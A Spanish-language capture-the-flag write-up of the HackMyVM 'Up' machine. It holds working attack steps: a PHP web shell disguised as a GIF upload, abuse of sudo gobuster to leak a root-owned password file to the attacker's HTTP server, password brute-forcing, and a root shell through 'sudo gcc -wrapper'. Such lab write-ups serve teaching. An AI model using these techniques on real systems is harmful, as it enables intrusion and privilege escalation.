cd ~/blog

~/writeups/hmv/119-up.md

119 - Up

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Unrestricted File Upload RCE con transformación ROT13 del nombreSudo-Allowed Program Abuse mediante gobuster para Arbitrary File ReadSudo-Allowed Program Abuse mediante gcc wrapper
hackmyvm.eu/machines/machine.php?vm=Up

~2 min de lectura


Enumeración de servicios y contenido web

El objetivo sólo expone una aplicación web sobre Apache. Dentro de /uploads, Gobuster descubre clue.txt, cuyo contenido apunta a /root/rodgarpass y anticipa que necesitaremos una primitiva de lectura con privilegios:

❯ nmap -sCV -p 80 -oN 02-targeted.txt 192.168.1.13
...
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: RodGar - Subir Imagen
...

❯ gobuster dir -u 'http://192.168.1.13/uploads' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,sql,png,gif,zip -r
...
/clue.txt             (Status: 200) [Size: 17]
...

❯ cat clue.txt
/root/rodgarpass

Análisis del uploader

robots.txt contiene el código fuente del uploader codificado en Base64. Al decodificarlo vemos que sólo valida la extensión y transforma el nombre base mediante ROT13 antes de guardar el archivo:

$encryptedFileName = strtr($fileBaseName,
    'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',
    'NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm');

La validación admite gif pero no comprueba que su contenido sea una imagen segura. Esto permite un Unrestricted File Upload RCE: añadimos la firma GIF89a delante de PHP y calculamos que pwned se publicará como cjarq después de ROT13:

❯ less pwned.gif
...
GIF89a;<?php system($_GET["cmd"]);?>
...
http://192.168.1.13/uploads/cjarq.gif?cmd=id
GIF89a;uid=33(www-data) gid=33(www-data) groups=33(www-data)

La respuesta de id confirma ejecución como www-data. Sustituimos el comando de prueba por una reverse shell y consultamos sus permisos de sudo:

www-data@debian:/var/www$ sudo -l
...
User www-data may run the following commands on debian:
    (ALL) NOPASSWD: /usr/bin/gobuster

Arbitrary File Read mediante sudo gobuster

La regla constituye un Sudo-Allowed Program Abuse. Gobuster usa el archivo indicado con -w como lista de rutas y envía cada línea al servidor configurado con -u. Al ejecutarlo como root, puede abrir /root/rodgarpass; nuestro servidor HTTP registra cada palabra solicitada y convierte este comportamiento en un Arbitrary File Read por canal lateral:

www-data@debian:/var/www$ sudo gobuster dir -u http://192.168.1.7:8000 -w /root/rodgarpass

❯ python3 -m http.server
...
192.168.1.13 - - [25/Nov/2024 23:48:27] "GET /[redacted]85e7b0f2 HTTP/1.1" 404 -

El valor filtrado tiene 31 caracteres hexadecimales, uno menos que el formato esperado. En lugar de atacar un espacio amplio, generamos las dieciséis posibilidades para el carácter final y las validamos contra la cuenta rodgar:

❯ cat passwd.py
pwd = '[redacted]85e7b0f2'
chars = '0123456789abcdef'

with open ('wl.txt', 'a') as wl:
    for letter in chars:
        passwd = pwd + letter
        wl.write(passwd + '\n')
www-data@debian:/tmp$ ./suBF.sh -w wl.txt -u rodgar -t 0.7 -s 0.05
You can login as rodgar using password: [redacted]85e7b0f21

www-data@debian:/tmp$ su rodgar
Password: [redacted]85e7b0f21
rodgar@debian:/tmp$

Escalada mediante sudo gcc

La contraseña correcta permite cambiar a rodgar y recuperar la primera flag. Su regla de sudo autoriza gcc y make como cualquier usuario sin contraseña:

rodgar@debian:/tmp$ sudo -l
...
User rodgar may run the following commands on debian:
    (ALL : ALL) NOPASSWD: /usr/bin/gcc, /usr/bin/make

La opción -wrapper de gcc ejecuta el programa indicado como envoltorio del compilador. Como todo el proceso se inicia mediante sudo, /bin/sh hereda los privilegios de root:

rodgar@debian:~$ sudo gcc -wrapper /bin/sh,-s .

root

whoami confirma la identidad privilegiada y permite recuperar la flag final.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados